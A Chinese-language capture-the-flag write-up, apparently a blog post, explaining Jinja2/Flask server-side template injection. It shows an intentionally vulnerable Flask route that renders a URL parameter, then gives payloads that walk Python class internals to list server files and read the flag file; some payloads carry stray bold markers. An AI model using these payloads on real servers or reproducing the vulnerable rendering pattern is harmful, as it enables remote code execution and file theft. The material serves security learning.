二、Web_python_template_injection
1.基本知识点
模版引擎
模版引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易,但是模板引擎也拓宽了我们的攻击面,注入到模板中的代码可能会引发RCE
或者XSS
。
在Jinja2
模板引擎中,{{}}
是变量包裹标识符。{{}}
并不仅仅可以传递变量,还可以执行一些简单的表达式。
flask
Flask是一个非常小的PythonWeb
框架,被称为微型框架;只提供了一个稳健的核心,其他功能全部是通过扩展实现的;意思就是我们可以根据项目的需要量身定制,也意味着我们需要学习各种扩展库的使用。
Python模版注入漏洞
Python模版注入漏洞(Template Injection Vulnerability)是一种安全漏洞,通常发生在使用模版引擎(如Jinja2
、Django
模版等)渲染用户提供的输入时。当用户输入未经过充分过滤或验证的内容被直接插入到模版中时,攻击者可以利用这一漏洞在服务器端执行恶意代码或进行其他形式的攻击。
举个例子,假设有如下服务端代码:
from flask import Flask, request, render_template_string
#创建一个Flask应用实例,命名为app
app = Flask(__name__)
#这是一个路由装饰器,定义了当访问根URL(/)时,将调用index函数处理请求。
@app.route('/')
def index():
#从URL参数中获取名为template的值,并赋给变量template_input。
template_input = request.args.get('template')
return render_template_string(template_input)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8888, debug=True)
我们将模版内容传递到服务端,服务端会执行模板内容中的代码,比如我们传入一条{{ 7 * 7}}
的模板参数,发现返回值为49,说明什么?说明{{ 7 * 7}}
这条指令已经在服务端执行了。
这就是python模板注入的基本原理。
常用类
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析
__base__ 返回该对象所继承的基类
(__base__和__mro__都是用来寻找基类的)
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__builtins__ builtins就是引用
获取基类(父类)的几种方法:
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]
[].__class__.__bases__[0]
2.解题过程
1.首先检测一下是否有模版注入。用URL编码后的{{30+50}}进行检测。返回80,说明执行成功。
2.获取基类
3.获取该基类下的子类
{{[].__**class__**.__**base__**.__**subclasses__**()}}
4.[71]是site._Printer
类的出现位置,前面共有71个逗号,是第72个,索引值为 71 , 索引从0开始。
列出当前目录中的文件和目录:
{{[].__**class**__.__**base**__.__**subclasses**__()[71].__**init__**.__**globals__**['os'].listdir('.')}}
5.找到文件名后,利用第41项的file类读取文件,得到flag
{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}
参考文章:
标签:__,Web,.__,python,模版,__.__,template,class From: https://www.cnblogs.com/lxxa/p/18312470